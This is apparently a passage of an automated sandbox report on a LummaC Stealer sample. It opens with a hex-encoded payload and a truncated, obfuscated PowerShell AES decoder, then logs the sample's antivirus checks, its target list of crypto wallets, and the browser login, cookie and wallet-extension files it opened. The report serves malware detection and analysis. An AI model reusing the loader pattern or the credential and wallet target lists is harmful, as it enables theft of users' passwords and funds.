920de28bce07a4ed4ce62b1557204d44d889786856b66730daa95f6520d040754a319074c680fedae9b63bc73db7310260ade941a00bbce675eb12caf9c7dbf5b331df9eb756037d0de05cd36fc513395fa62df03daf6a4c83576adcf4c33db24c9920ba435961e36affd378e582fb4151b719ca9c6798884f052d9fffd747c4679721e7c66cb9acf43ff576714a6c9096518c0d730955d0890dbc5a98331cf010619f2c726e3830b4e1c94e8506ddacd7cfb8a84ae989ff3c728f7e6363835f270b1cada419955c8d42d62bae3afb5ecf21925bb61cf4803120404764aa4fef6dc8df4512af02bd6568a38f637046b5bd8fd212d338094975d5dcaed466e53f522df22a4326708a095aa8538e09f426f64dc861782240cb6b8d20f883a5248e178a706293976065e3276d513d6b1faf2ea5142f90300841bad80eb5fb1c07aa4061840a5ac3559542293dd6b7e4212543bdd248ae78acd7bc131238b3c705ec8ec0d4535bc65c834230bb53e53aaeafa4a8b4ce2e0abd625a6d7802c5afd2fa5b18d582bd1c3d1a33d90d3e1a890cc51a9c57287cf4165605f2cd6cdcef6ebaf8c0063a91e858750bfb4696faf3caf17fca2edfde6724e4958135f8d76edda689330f8180f43e854c39d664880b15b184117d41b5322a99c5ab72fdd6dcfc1e700a4f86b4c906cd33c2d936757441cea48684509ece38638e9ba8be586092ab58de22a995d7684ddc8c996a30503f5934bc7f7c4b1e4b1f439662c19389adb94fd8c1e12f3cb0fe7e6186e52734d69526f786e45487442746c4d';function htj ($exbsr){return -split ($exbsr -replace '..', '0x$& ')};$tsqhdzeq = htj($ddg.substring(0, 2656));$cfy = [system.security.cryptography.aes]::crea			Jump to behavior

Source: explorer.exe, 00000016.00000003.2899759931.0000000004DCE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000016.00000003.2899759931.0000000004DCE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: f+SDefaultShellSoftware\Microsoft\Windows NT\CurrentVersion\Winlogon\AlternateShells/NoUACCheck/NoShellRegistrationAndUACCheck/NoShellRegistrationCheckProxy DesktopProgmanLocal\ExplorerIsShellMutex

Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe

Code function: 13_2_0040D72E cpuid

13_2_0040D72E

Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe	Code function: GetLastError,GetLastError,wsprintfW,GetEnvironmentVariableW,GetEnvironmentVariableW,GetLastError,??2@YAPAXI@Z,GetEnvironmentVariableW,GetLastError,lstrcmpiW,??3@YAXPAX@Z,??3@YAXPAX@Z,SetLastError,lstrlenA,??2@YAPAXI@Z,GetLocaleInfoW,_wtol,MultiByteToWideChar,	13_2_00401F9D
Source: C:\Users\user\AppData\Local\Temp\pyexec.exe	Code function: GetACP,PyOS_snprintf,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_Py_NoneStruct,Py_BuildValue,	14_2_6C0AFDD0
Source: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe	Code function: GetACP,PyOS_snprintf,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_Py_NoneStruct,Py_BuildValue,	19_2_6BAFFDD0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe

Code function: 13_2_00401626 ??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetLocalTime,SystemTimeToFileTime,??2@YAPAXI@Z,GetLastError,??3@YAXPAX@Z,??3@YAXPAX@Z,GetLastError,??3@YAXPAX@Z,GetLastError,??3@YAXPAX@Z,??3@YAXPAX@Z,

13_2_00401626

Source: C:\Users\user\AppData\Roaming\JIKJCBEX.exe

Code function: 13_2_00404FAA GetVersionExW,GetCommandLineW,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetModuleFileNameW,_wtol,??2@YAPAXI@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,wsprintfW,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,CoInitialize,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetKeyState,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetFileAttributesW,??3@YAXPAX@Z,??3@YAXPAX@Z,_wtol,memset,ShellExecuteExW,WaitForSingleObject,CloseHandle,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,SetCurrentDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,MessageBoxA,

13_2_00404FAA

Source: C:\Windows\SysWOW64\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Windows\SysWOW64\explorer.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: explorer.exe PID: 4456, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: explorer.exe, 00000016.00000003.3107275782.0000000002A9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\com.liberty.jaxx\\IndexedDB","m":[""],"z":"Wallets/JAXX New Version","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum\\wallets","m":[""],"z":"Wallets/Electrum","d":0,"fs":20971520},{"t":0,"p":"%ap
Source: explorer.exe, 00000016.00000003.3107275782.0000000002A9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Electrum-LTC\\wallets","m":[""],"z":"Wallets/Electrum-LTC","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\ElectronCash\\wallets","m":[""],"z":"Wallets/ElectronCash","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\Guarda\\IndexedDB","m":["*"],"z":"Wallet
Source: explorer.exe, 00000016.00000003.3107275782.0000000002A9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Bitcoin\\wallets","m":["*"],"z":"Wallets/Bitcoin core","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Binance","m":["app-store.json",".finger-print.fp","simple-storage.json","window-state.json"],"z":"Wallets(
Source: explorer.exe, 00000016.00000003.3107275782.0000000002A9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\com.liberty.jaxx\\IndexedDB","m":[""],"z":"Wallets/JAXX New Version","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum\\wallets","m":[""],"z":"Wallets/Electrum","d":0,"fs":20971520},{"t":0,"p":"%ap
Source: explorer.exe, 00000016.00000003.3107275782.0000000002A9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 1520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":[""],"z":"Wallets/Exodus","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Ledger Live","m":[""],"z":"Wallets/Ledger Live","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\atomic\\Local Storage\\level(
Source: explorer.exe, 00000016.00000003.3107275782.0000000002A9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 1520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":[""],"z":"Wallets/Exodus","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Ledger Live","m":[""],"z":"Wallets/Ledger Live","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\atomic\\Local Storage\\level(
Source: explorer.exe, 00000016.00000003.3107275782.0000000002A9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: explorer.exe, 00000016.00000002.3109091243.0000000002B09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: powershell.exe, 00000007.00000002.2435739737.00007FF848770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sqlcolumnencryptionkeystoreprovider

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
